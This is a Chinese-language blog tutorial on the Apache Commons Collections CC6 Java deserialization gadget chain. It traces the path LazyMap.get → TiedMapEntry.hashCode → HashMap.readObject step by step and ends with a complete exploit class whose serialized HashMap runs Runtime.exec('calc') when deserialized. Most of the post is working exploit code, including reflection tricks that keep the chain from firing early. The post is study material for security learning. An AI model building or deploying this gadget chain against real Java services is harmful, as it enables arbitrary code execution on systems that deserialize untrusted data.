CC6

环境搭建

环境和CC1差不多, https://www.cnblogs.com/starme/p/18464845

LazyMap.get -> ChainedTransformer.transform -> InvokerTransform -> Runtime.exec 这部分和CC1一样的,下面写的就比较简单

参考: https://www.bilibili.com/video/BV1yP4y1p7N7?t=2.3

大概链子:

image-20241014194232018

分析

LazyMap.get 调用transform

TiedMapEntry.getValue 调用 get

TiedMapEntry.hashCode 调用 TiedMapEntry.getValue

HashMap.hash 调用 hashCode

HashMap.readObject 调用 HashMap.hash

首先是ChainedTransformer.transform -> r.exec

// ChainedTransformer.transform -> InvokerTransformer.transform
Transformer[] transformers= new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

这一步差哪儿呢?---差个调用transform:

Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = (ChainedTransformer) new ChainedTransformer(transformers).transform(transformers);

然后就要想办法调用transform
上面提到了LazyMap.get 调用transform

public Object get(Object key)

Object value = factory.transform(key);

显然就是要让factory = ChainedTransformer
LazyMap类的构造方法:

protected LazyMap(Map map, Factory factory)

public static Map decorate(Map map, Transformer factory)

需要一个Map map

HashMap<Object, Object> map = new HashMap<>();

所以LazyMap.get -> ChainedTransformer.transform

// ChainedTransformer.transform -> r.exec
Transformer[] transformers= new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
LazyMap.decorate(map,chainedTransformer).get(111);

接下来就要想办法调用get
TiedMapEntry.getValue 调用 get

public Object getValue()

这个TiedMapEntry的构造方法:

public TiedMapEntry(Map map, Object key)

所以要让map = LazyMap

所以TiedMapEntry.getValue -> LazyMap.get

Transformer[] transformers= new Transformer[]{
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
      new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
      new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 111);
tiedMapEntry.getValue();

接下来找哪里调用getValue:
TiedMapEntry.hashCode -> TiedMapEntry.getValue

public int hashCode()

无参,直接将上面的getValue改为hashCode即可

Transformer[] transformers= new Transformer[]{
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
      new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
      new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 111);
tiedMapEntry.hashCode();

然后找哪里调用了hashCode():
HashMap.hash 调用 hashCode

static final int hash(Object key) {
  int h;
  return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

显然就是要让key = tiedMapEntry
这个hash没有被public修饰,所以不能直接调用(作为静态方法或者对象的方法,即类.方法名或对象.方法名这两种都不行)

那就直接到readObject里面吧
也就是HashMap.readObject -> HashMap.hash -> TiedMapEntry.hashCode

这个是稍微有些长的
需要让key = tiedMapEntry
HashMap的构造函数:

public HashMap(int initialCapacity, float loadFactor)

所以

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"aaaa");

总的来说就是:

Transformer[] transformers= new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 111);
//        tiedMapEntry.hashCode();
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"aaaa");
serialize(map2);
unserialize("ser.bin");

但是发现在序列化的时候直接执行了。。
这个问题就跟URL dns链一样
在put方法里面触发了hash方法

现在来改一下LazyMap:

Map lazyMap = LazyMap.decorate(map, chainedTransformer);

改为:

Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

这样改了之后导致LazyMap.get 不能到ChainedTransformer.transform

随即增加代码:

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

将LazyMap中factory的值改为chainedTransformer

这样改了之后序列化没有触发calc,但是在反序列化的时候也没有触发
究其原因是在执行LazyMap的get函数时,触发key.containsKey(key)发现其为true,使得不能进入factory.transform(key)

所以要将其删除
这里的key是111
即:

lazyMap.remove(111)

光是按步入可能会跳过,还是需要打断点来精确定位问题所在处

值得注意的是
CC6用了两个map,对这两个map,分别进行了不同的处理,一个是为了绕过hash,一个是为了绕过map.containsKey(key) == false

完整代码

package org.example.CC;

import org.apache.commons.collections.MapUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        // ChainedTransformer.transform -> r.exec
        Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 111);
//        tiedMapEntry.hashCode();
        HashMap<Object,Object> map2 = new HashMap<>();
        // 先将HashMap.readObject -> TiedMapEntry.hashCode 串起来
        map2.put(tiedMapEntry,"aaaa");
        lazyMap.remove(111);
        // 然后再来避免意外情况
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        serialize(map2);
        unserialize("ser.bin");





    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

posted @ 2024-10-14 19:45  starme  阅读(7)  评论(0编辑  收藏  举报